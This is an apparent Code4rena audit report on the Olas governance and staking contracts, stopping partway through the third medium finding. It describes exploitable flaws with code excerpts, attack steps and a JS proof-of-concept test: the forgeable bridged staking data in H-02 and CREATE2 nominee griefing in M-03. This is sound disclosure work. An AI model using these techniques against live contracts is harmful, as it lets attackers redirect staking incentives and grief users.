

Olas

Smart Contract Security Assessment

Audit dates: May 28 — Jun 18, 2024

Overview

About C4

Code4rena (C4) is an open organization consisting of security researchers, auditors, developers, and individuals with domain expertise in smart contracts.

A C4 audit is an event in which community participants, referred to as Wardens, review, audit, or analyze smart contract logic in exchange for a bounty provided by sponsoring projects.

During the audit outlined in this document, C4 conducted an analysis of the Olas smart contract system written in Solidity. The audit took place between May 28 — June 18, 2024.

Following the C4 audit, warden [Varun_05](#) reviewed the sponsor's mitigations and provided comments, which are included alongside each corresponding finding in this audit report.

Wardens

32 Wardens contributed reports to Olas:

1. [EV_om](#)
2. [Varun_05](#)
3. [fyamf](#)
4. [haxatron](#)
5. [ZanyBonzy](#)
6. [OxSwahili](#)
7. [zraxx](#)
8. [ArsenLupin](#)
9. [Aymen0909](#)
10. [marchev](#)
11. [peanuts](#)
12. [givn](#)
13. [Limbooo](#)
14. [LinKenji](#)
15. [cOpp3rscr3w3r](#)
16. [AvantGard](#)
17. [Sparrow](#)
18. [SBSecurity](#) ([Slavcheww](#) and [Blckhv](#))
19. [Emmanuel](#)
20. [rbserver](#)
21. [anticlOck](#)
22. [MSaptarshi](#)

23. [biakia](#)
24. [JanuaryPersimmon2024](#)
25. [OxBugSlayer](#)
26. [yotov721](#)
27. [Rhaydden](#)
28. [caglankaan](#)
29. [ChaseTheLight](#)
30. [capGoblin](#)
31. [shafLOW2](#)

This audit was judged by [OxA5DF](#).

Final report assembled by [thebrittfactor](#).

Summary

The C4 analysis yielded an aggregated total of 22 unique vulnerabilities. Of these vulnerabilities, 2 received a risk rating in the category of HIGH severity and 20 received a risk rating in the category of MEDIUM severity.

Additionally, C4 analysis included 10 reports detailing issues with a risk rating of LOW severity or non-critical.

All of the issues presented here are linked back to their original finding.

Scope

The code under review can be found within the [C4 Oas repository](#), and is composed of 28 smart contracts written in the Solidity programming language and includes 3964 lines of Solidity code.

Severity Criteria

C4 assesses the severity of disclosed vulnerabilities based on three primary risk categories: high, medium, and low/non-critical.

High-level considerations for vulnerabilities span the following key areas when conducting assessments:

- Malicious Input Handling
- Escalation of privileges
- Arithmetic
- Gas use

For more information regarding the severity criteria referenced throughout the submission review process, please refer to the documentation provided on [the C4 website](#), specifically

our section on [Severity Categorization](#).

High Risk Findings (2)

[\[H-01\] `pointsSum.slope` Not Updated After Nominee Removal and Votes Revocation](#)

Submitted by [Ayman0909](#), also found by [zraxx \(1, 2\)](#), [Varun_05](#), and [ZanyBonzy](#)

<https://github.com/code-423n4/2024-05-olas/blob/main/governance/contracts/VoteWeighting.sol#L586-L637>
<https://github.com/code-423n4/2024-05-olas/blob/main/governance/contracts/VoteWeighting.sol#L223-L249>

Vulnerability details

The `removeNominee` and `revokeRemovedNomineeVotingPower` functions are part of the governance mechanism in the `VoteWeighting.sol` smart contract.

- The `removeNominee` function removes a nominee from the voting system.
- The `revokeRemovedNomineeVotingPower` function revokes the voting power that a user has delegated to a nominee who has been removed.

When a user votes for a nominee using the `voteForNomineeWeights` function, both `pointsSum.slope` and `pointsSum.bias` are updated to reflect the new voting weights:

```
pointsWeight[nomineeHash][nextTime].bias = _maxAndSub(_getWeight(account,
chainId) + newBias, oldBias);
pointsSum[nextTime].bias = _maxAndSub(_getSum() + newBias, oldBias);
if (oldSlope.end > nextTime) {
    pointsWeight[nomineeHash][nextTime].slope =
        _maxAndSub(pointsWeight[nomineeHash][nextTime].slope +
newSlope.slope, oldSlope.slope);
    pointsSum[nextTime].slope = _maxAndSub(pointsSum[nextTime].slope +
newSlope.slope, oldSlope.slope);
} else {
    pointsWeight[nomineeHash][nextTime].slope += newSlope.slope;
    pointsSum[nextTime].slope += newSlope.slope;
}
```

However, when a nominee is removed by the owner through the `removeNominee` function, only `pointsSum.bias` is updated. `pointsSum.slope` is not updated, nor is it updated when users revoke their votes through the `revokeRemovedNomineeVotingPower` function. As a

result, the `pointsSum.slope` for the next timestamp will be incorrect as it still includes the removed nominee's slope.

When the `_getSum()` function is called later to perform a checkpoint, the incorrect slope will be used for the calculation, causing the voting weight logic to become inaccurate:

```
function _getSum() internal returns (uint256) {
    // t is always > 0 as it is set in the constructor
    uint256 t = timeSum;
    Point memory pt = pointsSum[t];
    for (uint256 i = 0; i < MAX_NUM_WEEKS; i++) {
        if (t > block.timestamp) {
            break;
        }
        t += WEEK;
        uint256 dBias = pt.slope * WEEK;
        if (pt.bias > dBias) {
            pt.bias -= dBias;
            uint256 dSlope = changesSum[t];
            pt.slope -= dSlope;
        } else {
            pt.bias = 0;
            pt.slope = 0;
        }

        pointsSum[t] = pt;
        if (t > block.timestamp) {
            timeSum = t;
        }
    }
    return pt.bias;
}
```

Impact

The voting weight logic will be inaccurate after a nominee is removed, potentially compromising the integrity of the governance mechanism.

Tools Used

VS Code

Recommended Mitigation

To address this issue, ensure that `pointsSum.slope` is updated when a nominee is removed. This can be done in either the `removeNominee` or `revokeRemovedNomineeVotingPower` functions to maintain correct accounting.

Assessed type

Error

[kupermind \(Olas\) confirmed](#)

[0xA5DF \(judge\) increased severity to High and commented:](#)

Marking as high, because this is going to break the core accounting of `VoteWeighting` every time a nominee is removed. The actual sum of the weights is going to be more than the declared sum.

[Olas mitigated](#)

[Varun_05 \(warden\) commented:](#)

Partially fixed in `revokeRemovedNomineeVotingPower` but the issue still remains if all the users who voted for a removed nominee doesn't revoke their voting power.

Elaborating the issues as follows. Nominee is removed due to which the following updation happens:

```
uint256 oldWeight = _getWeight(account, chainId);
uint256 oldSum = _getSum();
uint256 nextTime = (block.timestamp + WEEK) / WEEK * WEEK;
pointsWeight[nomineeHash][nextTime].bias = 0;
timeWeight[nomineeHash] = nextTime;

// Account for the the sum weight change
uint256 newSum = oldSum - oldWeight;
pointsSum[nextTime].bias = newSum;
timeSum = nextTime;
```

As seen, `pointsSum.bias` is updated by subtracted the left over weights of the removed nominee. Now, as `pointsSum.slope` is not reduced by the amount contributed by the removed slope instantly.

For mitigating this issue, the following changes were done in the `revokeRemovedNomineeVotingPower` function:

```
if (oldSlope.end > nextTime) {
    pointsWeight[nomineeHash][nextTime].slope =
```

```

        _maxAndSub(pointsWeight[nomineeHash][nextTime].slope,
oldSlope.slope);
        pointsSum[nextTime].slope =
_maxAndSub(pointsSum[nextTime].slope, oldSlope.slope);
    }

```

The issue is if there is even a delay of a week from when the nominee was removed to when the users who voted for the nominee then the pointsSum.bias would be reduced by wrong amount thus it will break the core accounting of vote weighting.

Also, there is no loss of voting power for the user who voted for the removed nominee as he can call revoke removed nominee voting power any time and can get his voting power back thus they can even delay calling this function thus affecting vote accounting.

One of the mitigation can be as follows:

```

function removeNominee(bytes32 account, uint256 chainId) external {
    // Check for the contract ownership
    if (msg.sender != owner) {
        revert OwnerOnly(owner, msg.sender);
    }

    // Get the nominee struct and hash
    Nominee memory nominee = Nominee(account, chainId);
    bytes32 nomineeHash = keccak256(abi.encode(nominee));

    // Get the nominee id in the nominee set
    uint256 id = mapNomineeIds[nomineeHash];
    if (id == 0) {
        revert NomineeDoesNotExist(account, chainId);
    }

    // Set nominee weight to zero
    uint256 oldWeight = _getWeight(account, chainId);
    uint256 oldSum = _getSum();
    uint256 nextTime = (block.timestamp + WEEK) / WEEK * WEEK;
    pointsWeight[nomineeHash][nextTime].bias = 0;
    ++ pointsWeight[nomineeHash][nextTime].slope = 0
    timeWeight[nomineeHash] = nextTime;
    ++     uint256 totalSlope;
    ++     for (uint256 i = 1; i <= MAX_NUM_WEEKS; i++) {
    ++         uint256 time = nextTime + i * WEEK;
    ++         if(changesWeight[nomineeHash][time]>0){
    ++             totalSlope += changesWeight[nomineeHash][time];
    ++             changesWeight[nomineeHash][time] = 0;

```

```

++      changesSum[time] -= changesWeight[nomineeHash][time];
    }

    }

    // Account for the the sum weight change
    uint256 newSum = oldSum - oldWeight;
    pointsSum[nextTime].bias = newSum;
++    pointsSum[nextTime].slope -= totalSlope;
    timeSum = nextTime;

    // Add to the removed nominee map and set
    mapRemovedNominees[nomineeHash] = setRemovedNominees.length;
    setRemovedNominees.push(nominee);

    // Remove nominee from the map
    mapNomineeIds[nomineeHash] = 0;

    // Shuffle the current last nominee id in the set to be placed to
the removed one
    nominee = setNominees[setNominees.length - 1];
    bytes32 replacedNomineeHash = keccak256(abi.encode(nominee));
    mapNomineeIds[replacedNomineeHash] = id;
    setNominees[id] = nominee;
    // Pop the last element from the set
    setNominees.pop();

    // Remove nominee in dispenser, if applicable
    address localDispenser = dispenser;
    if (localDispenser != address(0)) {
        IDispenser(localDispenser).removeNominee(nomineeHash);
    }

    emit RemoveNominee(account, chainId, newSum);
}

```

Then, there is no need of the following logic in revoke removed nominee voting power function. They can be omitted.

```

uint256 nextTime = (block.timestamp + WEEK) / WEEK * WEEK;
// Adjust weight and sum slope changes
if (oldSlope.end > nextTime) {
    pointsWeight[nomineeHash][nextTime].slope =
        _maxAndSub(pointsWeight[nomineeHash][nextTime].slope,
oldSlope.slope);
}

```



```

        pointsSum[nextTime].slope =
_maxAndSub(pointsSum[nextTime].slope, oldSlope.slope);
    }

    // Cancel old slope changes if they still didn't happen
    if (oldSlope.end > block.timestamp) {
        changesWeight[nomineeHash][oldSlope.end] -= oldSlope.slope;
        changesSum[oldSlope.end] -= oldSlope.slope;
    }

```

[H-02] Arbitrary tokens and data can be bridged to GnosisTargetDispenserL2 to manipulate staking incentives

Submitted by [EV_om](#), also found by [haxatron](#)

The [GnosisTargetDispenserL2](#) contract receives OLAS tokens and data from L1 to L2 via the Omnibridge, or just data via the AMB. When tokens are bridged, the `onTokenBridged()` callback is invoked on the contract. This callback processes the received tokens and associated data by calling the internal `_receiveMessage()` function.

However, the `onTokenBridged()` callback does not verify the sender of the message on the L1 side (or the token received).

This allows anyone to send any token to the [GnosisTargetDispenserL2](#) contract on L2 along with arbitrary data. The `_receiveMessage()` function in `DefaultTargetDispenserL2` will then process this data, assuming it represents valid staking targets and incentives.

Impact

An attacker can bridge any tokens to the [GnosisTargetDispenserL2](#) contract on L2 with fake data for staking incentives. If the contract holds any withheld funds, these funds can be redistributed to arbitrary targets as long as they pass the [checks](#) in `_processData()`.

Even if the contract doesn't hold any withheld funds, the attacker can cause the amounts to be [stored](#) in `stakingQueueingNonces` and redeem them at a later point.

Proof of Concept

1. Attacker calls `relayTokensAndCall()` on the Omnibridge on L1 to send any tokens to the [GnosisTargetDispenserL2](#) contract on L2.
2. Attacker includes malicious staking data in the `payload` parameter.
3. `onTokenBridged()` is called on [GnosisTargetDispenserL2](#), which invokes `_receiveMessage()` to process the data.

4. Since the L1 sender is not validated, the malicious data is accepted and fake staking incentives are distributed.

Recommended Mitigation Steps

The Omnibridge contracts do not seem to provide a way to access the original sender's address on L1 when [executing the receiver callback](#) upon receiving tokens. Hence, the most sensible mitigation may be to send the bridged tokens and associated staking data separately:

1. When bridging tokens, only send the token amount without any data via `relayTokens()`.
2. Always transmit the staking data through the AMB via `requireToPassMessage()`.
3. Remove the `onTokenBridged()` callback from `GnosisTargetDispenserL2`.

This way, an attacker cannot send fake data along with the bridged tokens. The staking data will be validated to come from the authentic source on L1.

Assessed type

Access Control

[kupermind \(Olas\) confirmed](#)

[0xA5DF \(judge\) commented:](#)

High severity seems appropriate, given that this can lead to the distribution of staking incentives to arbitrary targets.

[Olas mitigated](#)

[Varun_05 \(warden\) commented:](#)

Fixed.

Medium Risk Findings (20)

[\[M-01\] `checkpoint` function is not called before staking which can cause loss of rewards for already staked services](#)

Submitted by [Varun_05](#), also found by [fyamf](#)

Before allowing anyone to stake a service id, the `checkpoint` function should be called in order to distribute already present rewards in the contract and thus update the `availableRewards`. If this doesn't happen and a new service id is staked, then after some time the rewards are then shared among the new service id as well; thus, causing the service ids which were staked before the new service id to receive less rewards. Furthermore, as

there is no mention who calls checkpoint function and when is it called, the likelihood of this error is high and impact is loss of rewards thus impact is also high.

Proof of Concept

Following is the stake function:

```
function stake(uint256 serviceId) external {
    // Check if there available rewards
    if (availableRewards == 0) {
        revert NoRewardsAvailable();
    }

    // Check if the evicted service has not yet unstaked
    ServiceInfo storage sInfo = mapServiceInfo[serviceId];
    // tsStart being greater than zero means that the service was not
    yet unstaked: still staking or evicted
    if (sInfo.tsStart > 0) {
        revert ServiceNotUnstaked(serviceId);
    }

    // Check for the maximum number of staking services
    uint256 numStakingServices = setServiceIds.length;
    if (numStakingServices == maxNumServices) {
        revert MaxNumServicesReached(maxNumServices);
    }

    // Check the service conditions for staking
    IService.Service memory service =
    IService(serviceRegistry).getService(serviceId);

    // Check the number of agent instances
    if (numAgentInstances != service.maxNumAgentInstances) {
        revert WrongServiceConfiguration(serviceId);
    }

    // Check the configuration hash, if applicable
    if (configHash != 0 && configHash != service.configHash) {
        revert WrongServiceConfiguration(serviceId);
    }

    // Check the threshold, if applicable
    if (threshold > 0 && threshold != service.threshold) {
        revert WrongServiceConfiguration(serviceId);
    }

    // The service must be deployed
    if (service.state != IService.ServiceState.Deployed) {
```

```

        revert WrongServiceState(uint256(service.state), serviceId);
    }

    // Check that the multisig address corresponds to the authorized
    multisig proxy bytecode hash
    bytes32 multisigProxyHash = keccak256(service.multisig.code);
    if (proxyHash != multisigProxyHash) {
        revert UnauthorizedMultisig(service.multisig);
    }

    // Check the agent Ids requirement, if applicable
    uint256 size = agentIds.length;
    if (size > 0) {
        uint256 numAgents = service.agentIds.length;

        if (size != numAgents) {
            revert WrongServiceConfiguration(serviceId);
        }
        for (uint256 i = 0; i < numAgents; ++i) {
            // Check that the agent Ids
            if (agentIds[i] != service.agentIds[i]) {
                revert WrongAgentId(agentIds[i]);
            }
        }
    }

    // Check service staking deposit and token, if applicable
    _checkTokenStakingDeposit(serviceId, service.securityDeposit,
    service.agentIds);

    // ServiceInfo struct will be an empty one since otherwise the
    safeTransferFrom above would fail
    sInfo.multisig = service.multisig;
    sInfo.owner = msg.sender;
    // This function might revert if it's incorrectly implemented,
    however this is not a protocol's responsibility
    // It is safe to revert in this place
    uint256[] memory nonces =
    IActivityChecker(activityChecker).getMultisigNonces(service.multisig);
    sInfo.nonces = nonces;
    sInfo.tsStart = block.timestamp;

    // Add the service Id to the set of staked services
    setServiceIds.push(serviceId);

    // Transfer the service for staking

```

```

        IService(serviceRegistry).safeTransferFrom(msg.sender,
address(this), serviceId);

        emit ServiceStaked(epochCounter, serviceId, msg.sender,
service.multisig, nonces);
    }

```

As we can see clearly, the checkpoint function is not called anywhere in the stake function. From above, we can also see that the staking is not allowed if there are no availableRewards. So in order to get the latest and the correct value of the available rewards, the checkpoint function should be called at the start of stake function and then it should be checked whether availableRewards are zero or not so as to decide whether staking should be allowed or not.

Lets explain this issue with a simple example:

Here, suppose the liveness period has passed and checkpoint can be called but is not called. Suppose available rewards left are 300 and there are 3 current services.

Let liveness period = 10 and let rewards per sec = 10.

As of now, all the 3 services should receive $10 * 10$ (I have assumed that the staking time to be exact 10 sec can be any value) = 100 rewards each and thus, the available rewards should become 0.

But as checkpoint is not called before the stake function and new service id is staked. Legitimately, the new service should not be able to stake, as all the available rewards should go to the already present three service ids. However, now as checkpoint is not called before calling the stake function, a new service id is also staked. Now, 5 more seconds have passed and checkpoint is called. Now, the already present three service ids would be eligible for rewards: $10 * 15 = 150$.

Also, now suppose the new service id added also passes the liveness ratio; therefore, it also becomes eligible for rewards: $10 * 5 = 50$. Thus, the total rewards would now be equal to $150 * 3 + 50 = 500$; whereas total available rewards are 300. Therefore, the first three service ids would receive $(150 * 300)/500 = 90$ rewards, as opposed to the original 100 rewards they should be applicable to. Therefore, there is loss of rewards for the service ids.

In all, the staking protocols all the updation are done before allowing anyone to further stake so as there is no loss of rewards.

Recommended Mitigation Steps

Call the checkpoint function at the start of stake function as follows:

```

function stake(uint256 serviceId) external {

```

```

==>         checkpoint();
// Check if there available rewards
if (availableRewards == 0) {
    revert NoRewardsAvailable();
}

// Check if the evicted service has not yet unstaked
ServiceInfo storage sInfo = mapServiceInfo[serviceId];
// tsStart being greater than zero means that the service was not
yet unstaked: still staking or evicted
if (sInfo.tsStart > 0) {
    revert ServiceNotUnstaked(serviceId);
}

// Check for the maximum number of staking services
uint256 numStakingServices = setServiceIds.length;
if (numStakingServices == maxNumServices) {
    revert MaxNumServicesReached(maxNumServices);
}

// Check the service conditions for staking
IService.Service memory service =
IService(serviceRegistry).getService(serviceId);

// Check the number of agent instances
if (numAgentInstances != service.maxNumAgentInstances) {
    revert WrongServiceConfiguration(serviceId);
}

// Check the configuration hash, if applicable
if (configHash != 0 && configHash != service.configHash) {
    revert WrongServiceConfiguration(serviceId);
}

// Check the threshold, if applicable
if (threshold > 0 && threshold != service.threshold) {
    revert WrongServiceConfiguration(serviceId);
}

// The service must be deployed
if (service.state != IService.ServiceState.Deployed) {
    revert WrongServiceState(uint256(service.state), serviceId);
}

// Check that the multisig address corresponds to the authorized
multisig proxy bytecode hash
bytes32 multisigProxyHash = keccak256(service.multisig.code);
if (proxyHash != multisigProxyHash) {

```

```

        revert UnauthorizedMultisig(service.multisig);
    }

    // Check the agent Ids requirement, if applicable
    uint256 size = agentIds.length;
    if (size > 0) {
        uint256 numAgents = service.agentIds.length;

        if (size != numAgents) {
            revert WrongServiceConfiguration(serviceId);
        }
        for (uint256 i = 0; i < numAgents; ++i) {
            // Check that the agent Ids
            if (agentIds[i] != service.agentIds[i]) {
                revert WrongAgentId(agentIds[i]);
            }
        }
    }

    // Check service staking deposit and token, if applicable
    _checkTokenStakingDeposit(serviceId, service.securityDeposit,
service.agentIds);

    // ServiceInfo struct will be an empty one since otherwise the
safeTransferFrom above would fail
    sInfo.multisig = service.multisig;
    sInfo.owner = msg.sender;
    // This function might revert if it's incorrectly implemented,
however this is not a protocol's responsibility
    // It is safe to revert in this place
    uint256[] memory nonces =
IActivityChecker(activityChecker).getMultisigNonces(service.multisig);
    sInfo.nonces = nonces;
    sInfo.tsStart = block.timestamp;

    // Add the service Id to the set of staked services
    setServiceIds.push(serviceId);

    // Transfer the service for staking
    IService(serviceRegistry).safeTransferFrom(msg.sender,
address(this), serviceId);

    emit ServiceStaked(epochCounter, serviceId, msg.sender,
service.multisig, nonces);
}

```

Assessed type

Context

[0xA5DF \(judge\) commented:](#)

@kupermind - This is a dupe of [#49](#), but discussed a different aspect (when available rewards have already ended - new stakers can still get part of the rewards at the expense of existing stakers). Any input on this?

[kupermind \(Olas\) acknowledged and commented:](#)

For us they are the same. We'll add a `checkpoint()` at the beginning of the `stake()` function as suggested. At least one of those issues deserves a Medium as a good find.

Note: For full discussion, see [here](#).

[Olas mitigated](#)

[Varun_05 \(warden\) commented:](#)

Fixed.

[\[M-02\] Less active nominees can be left without rewards after an year of inactivity](#)

Submitted by [marchev](#), also found by [EV_om](#)

<https://github.com/code-42n4/2024-05-olas/blob/3ce502ec8b475885b90668e617f3983cea3ae29f/governance/contracts/VoteWeighting.sol#L155>

Impact

The `VoteWeighting` within the protocol requires some sort of activity for nominees at least every 53 weeks to maintain its functionality properly. However, some nominees can be less active. Particularly when users lock their veOLAS for long periods (e.g., 4 years) and vote in a set-and-forget manner.

Due to the current one-year lookbehind period, the `nomineeRelativeWeight()` function will break for less active nominees after one year (it will return `0`), causing users with longer lock periods to essentially lose their voting power. This undermines the fairness and intended functionality of the protocol, as these users will no longer be able to influence governance or earn rewards despite their significant long-term commitment.

An attempt to address this issue with keepers would not be effective. A malicious user can create an arbitrarily large number of nominees. This would make iterating over all nominees

on a regular basis to ensure checkpoints are made extremely gas-expensive, rendering the keepers model impractical and ineffective.

Proof of Concept

The vulnerability can be observed in the following scenario:

1. A user locks their veOLAS tokens for 4 years and votes for a nominee.
2. The user does not interact with the nominee for over 53 weeks. No other users interact with it either.
3. After this period, when attempting to call the `nomineeRelativeWeight()` function, it will return 0 even though the user has almost 3 years of lock period remaining.
4. As a result, the voting power associated with the user's locked veOLAS is lost.

This issue can be traced to the code handling the lookbehind period for nominees, which does not retain historical data beyond 53 weeks:

<https://github.com/code-423n4/2024-05-olas/blob/3ce502ec8b475885b90668e617f3983cea3ae29f/governance/contracts/VoteWeighting.sol#L267-L286>

The following coded PoC demonstrates the issue. Add the following test case to `VoteWeighting.js`:

```
it.only("Nominee can get bigger share", async function () {
    const oneMillionOLAS = ethers.utils.parseEther("1000000");

    // Add nominees
    const numNominees = 2;
    let nominees = [signers[1].address, signers[2].address];
    const chainIds = new Array(numNominees).fill(chainId);
    for (let i = 0; i < numNominees; i++) {
        await vw.addNomineeEVM(nominees[i], chainIds[i]);
    }

    nominees = [convertAddressToBytes32(nominees[0]),
convertAddressToBytes32(nominees[1])];

    // Actors
    let charlie = signers[0];
    let alice = signers[10];
    let bob = signers[11];

    // Mint 1M OLAS to Alice & Bob
    await olas.mint(alice.address, oneMillionOLAS);
    await olas.mint(bob.address, oneMillionOLAS);
```

```

        // Approve token transfer for locks
        await olas.approve(ve.address, oneMillionOLAS);
        await olas.connect(alice).approve(ve.address,
oneMillionOLAS);
        await olas.connect(bob).approve(ve.address, oneMillionOLAS);

        // Lock 1M OLAS into veOLAS for 4 years
        await ve.createLock(oneMillionOLAS, 4 * oneYear);
        await ve.connect(alice).createLock(oneMillionOLAS, 4 *
oneYear);
        await ve.connect(bob).createLock(oneMillionOLAS, 4 *
oneYear);

        // Charlie votes for nominees[0], whereas alice and bob - for
nominees[1]
        await vw.voteForNomineeWeights(nominees[0], chainId,
maxVoteWeight);
        await vw.connect(alice).voteForNomineeWeights(nominees[1],
chainId, maxVoteWeight);
        await vw.connect(bob).voteForNomineeWeights(nominees[1],
chainId, maxVoteWeight);

        // Vote for nominees
        // Get the next point timestamp where votes are written after
voting
        const block = await ethers.provider.getBlock("latest");
        const nextTime = getNextTime(block.timestamp);

        // Check weights that must represent a half for each
        for (let i = 0; i < numNominees; i++) {
            const weight = await
vw.nomineeRelativeWeight(nominees[i], chainIds[i], nextTime);
            console.log("Vote weights @ lock time: nominees[%s] =
%s", i, Number(weight.relativeWeight) / E18);
        }

        // Advance 1 year
        await helpers.time.increase(oneWeek * 52);

        // Alice & Bob vote, Charlie - does not
        await vw.connect(alice).voteForNomineeWeights(nominees[1],
chainId, maxVoteWeight);
        await vw.connect(bob).voteForNomineeWeights(nominees[1],
chainId, maxVoteWeight);

        for (let i = 0; i < numNominees; i++) {

```

```

        const weight = await
vw.nomineeRelativeWeight(nominees[i], chainIds[i], nextTime + (oneWeek *
52));

        console.log("Vote weights @ 1 year later: nominees[%s]
weight = %s", i, Number(weight.relativeWeight) / E18);
    }

    // Advance 1 more year
    await helpers.time.increase(oneWeek * 2); // Beyond 53 weeks

    await vw.checkpointNominee(nominees[0], chainId); // Relative
weight will be broken despite this checkpoint
    await vw.checkpointNominee(nominees[1], chainId);

    for (let i = 0; i < numNominees; i++) {
        const weight = await
vw.nomineeRelativeWeight(nominees[i], chainIds[i], nextTime + (oneWeek *
54));

        console.log("Vote weights @ 2 years later: nominees[%s]
weight = %s", i, Number(weight.relativeWeight) / E18);
    }
});

```

Recommended Mitigation Steps

To mitigate this vulnerability, it is recommended to extend the lookbehind period to at least the maximum lock period plus one additional year. This approach is effectively implemented in Curve's VotingEscrow, where the lookbehind period is 5 years while the maximum lock period is 4 years.

Furthermore, since the weight calculation is done on a per-nominee basis, there is isolation between the calculations for different nominees. This isolation ensures that issues with one nominee do not affect the calculations for others. If there are concerns related to reaching the block gas limit, the maximum number of weeks to iterate over can be made configurable.

Assessed type

Governance

[kupermind \(Olas\) acknowledged and commented:](#)

The gas limit concern is real, as the checkpoint for nominees is called in the Dispenser function that is expensive by itself. As for the mitigation steps, we might check in the `voteForNomineeWeights()` function that point's `nextTime` is equal to the actual next week, otherwise we revert, as the user then has to call `checkpoint()` several times in order to extrapolate until the required `nextWeek` time.

[0xA5DF \(judge\) commented:](#)

MAX_NUM_WEEKS is a limit set by the protocol, and the issues that might stem from it are pretty obvious.

@kupermind, do you see here any new information **on the issue side**? I tend to mark this as low, suggesting better mitigation for existing limitations isn't more than a low.

[kupermind \(Olas\) commented:](#)

@0xA5DF - For now we don't handle the case in the voting function itself for when there is inactive nominee gets voted on, and thus biases won't be computed correctly.

We deviated from the original 500 weeks value to reduce the possible max gas, but it was really a nice protection from the cases described here, such that in voting itself all the values are correct. I think we can leave it as medium, and the solution is trivial - bring back the bigger number of maximum weeks, at least to cover full 4 years.

[0xA5DF \(judge\) commented:](#)

Marking as Medium due to sponsor's comment. It seems like this issue wasn't obvious; therefore, this is a valid issue.

Note: For full discussion, see [here](#).

[Olas mitigated](#)

[Varun_05 \(warden\) commented:](#)

Fixed with maximum number of weeks increased to 250.

[\[M-03\] Adding staking instance as nominee before it is created](#)

Submitted by [fyamf](#)

It is possible to add a staking instance as a nominee before it is being created. This can lead to a situation that when this instance is going to claim its staking incentives, it should go over all the epochs from the time it was added as nominee to the epoch it was created. This range of epochs is useless for this instance, because no incentives can be assigned to that instance during the epoch it is added as nominee until the epoch it is created. By doing so, the attacker can force users (whoever claim the staking incentives for an instance) to consume much more gas.

Proof of Concept

When creating a proxy staking instance, the address of the to-be-created proxy instance is predictable as follows.

```

function getProxyAddressWithNonce(address implementation, uint256
localNonce) public view returns (address) {
    // Get salt based on chain Id and nonce values
    bytes32 salt = keccak256(abi.encodePacked(block.chainid,
localNonce));

    // Get the deployment data based on the proxy bytecode and the
implementation address
    bytes memory deploymentData =
abi.encodePacked(type(StakingProxy).creationCode,
uint256(uint160(implementation)));

    // Get the hash forming the contract address
    bytes32 hash = keccak256(
        abi.encodePacked(
            bytes1(0xff), address(this), salt,
keccak256(deploymentData)
        )
    );

    return address(uint160(uint256(hash)));
}

```

<https://github.com/code-423n4/2024-05-olas/blob/main/registries/contracts/staking/StakingFactory.sol#L141>

It shows that the address is dependent on two dynamic parameters nonce, as well as the address of the implementation.

The nonce is incremented by one each time an instance is created, so it can be tracked easily.

The implementation address is assumed to be the address of the contract StakingToken or StakingNativeToken for most instances. In other words, it is more probable that users create the proxy instance based on those default implementations instead of a customized one, and users usually only change the initPayload to create an instance with different configurations. As can be seen in the following code, the address of an instance is independent of initPayload.

```

function createStakingInstance(
    address implementation,
    bytes memory initPayload
) external returns (address payable instance) {
    //....
}

```

```

        bytes memory deploymentData =
abi.encodePacked(type(StakingProxy).creationCode,
        uint256(uint160(implementation)));

        // solhint-disable-next-line no-inline-assembly
        assembly {
            instance := create2(0x0, add(0x20, deploymentData),
mload(deploymentData), salt)
        }

        //...
    }

```

<https://github.com/code-423n4/2024-05-olas/blob/main/registries/contracts/staking/StakingFactory.sol#L208>

There is an opportunity for the attacker to act maliciously as explained in the following scenario:

- In the early days of the protocol launch, the attacker predicts the address of many instances. As explained above, the accuracy of this prediction would be very high because the nonce range is limited, and the implementation address is usually the address of default staking instances StakingToken or StakingNativeToken.
- After that, the attacker adds the predicted addresses as nominee.

```

function addNomineeEVM(address account, uint256 chainId) external {
    // ....
    _addNominee(nominee);
}

function _addNominee(Nominee memory nominee) internal {
    //....

    if (localDispenser != address(0)) {
        IDispenser(localDispenser).addNominee(nomineeHash);
    }

    //....
}

```

<https://github.com/code-423n4/2024-05-olas/blob/main/governance/contracts/VoteWeighting.sol#L292-L344>

- By doing so, when an instance is added as nominee, its mapLastClaimedStakingEpochs is set at the current epoch in the contract Dispenser. Assuming we are in the early days

of the protocol launch, for example, the current epoch is 2.

```
function addNominee(bytes32 nomineeHash) external {
    // Check for the contract ownership
    if (msg.sender != voteWeighting) {
        revert ManagerOnly(msg.sender, voteWeighting);
    }

    // Check for the paused state
    Pause currentPause = paused;
    if (currentPause == Pause.StakingIncentivesPaused || currentPause
    == Pause.AllPaused ||
        ITreasury(treasury).paused() == 2) {
        revert Paused();
    }

    mapLastClaimedStakingEpochs[nomineeHash] =
    ITokenomics(tokenomics).epochCounter();
}
```

<https://github.com/code423n4/2024-05-olas/blob/main/tokenomics/contracts/Dispenser.sol#L745>

- By doing so, many instances are added as nominee and their mapLastClaimedStakingEpochs are set to 2, while they are not yet created in StakingFactory.
- Suppose, after some time (for example, in epoch 100), these instances are created through calling createStakingInstance.
- After these instances being active and receiving incentives, they are going to claim their incentives by calling the function calculateStakingIncentives. This function invokes the internal function _checkpointNomineeAndGetClaimedEpochCounters to see the range of epochs it should go over.

```
function calculateStakingIncentives(
    uint256 numClaimedEpochs,
    uint256 chainId,
    bytes32 stakingTarget,
    uint256 bridgingDecimals
) public returns (
    uint256 totalStakingIncentive,
    uint256 totalReturnAmount,
    uint256 lastClaimedEpoch,
    bytes32 nomineeHash
) {
```

```

        //.....
        (firstClaimedEpoch, lastClaimedEpoch) =
            _checkpointNomineeAndGetClaimedEpochCounters(nomineeHash,
numClaimedEpochs);
        //.....
    }

```

<https://github.com/code-423n4/2024-05-olas/blob/main/tokenomics/contracts/Dispenser.sol#L874>

In this function, it returns `firstClaimedEpoch = 2` (the time it was added as nominee by the attacker), and `lastClaimedEpoch = 2 + numClaimedEpochs`.

```

function _checkpointNomineeAndGetClaimedEpochCounters(
    bytes32 nomineeHash,
    uint256 numClaimedEpochs
) internal view returns (uint256 firstClaimedEpoch, uint256
lastClaimedEpoch) {
    // .....

    // Get the first claimed epoch, which is equal to the last claiming
one
    firstClaimedEpoch = mapLastClaimedStakingEpochs[nomineeHash];

    // .....

    // Get a number of epochs to claim for based on the maximum number
of epochs claimed
    lastClaimedEpoch = firstClaimedEpoch + numClaimedEpochs;

    // .....
}

```

<https://github.com/code-423n4/2024-05-olas/blob/main/tokenomics/contracts/Dispenser.sol#L356>

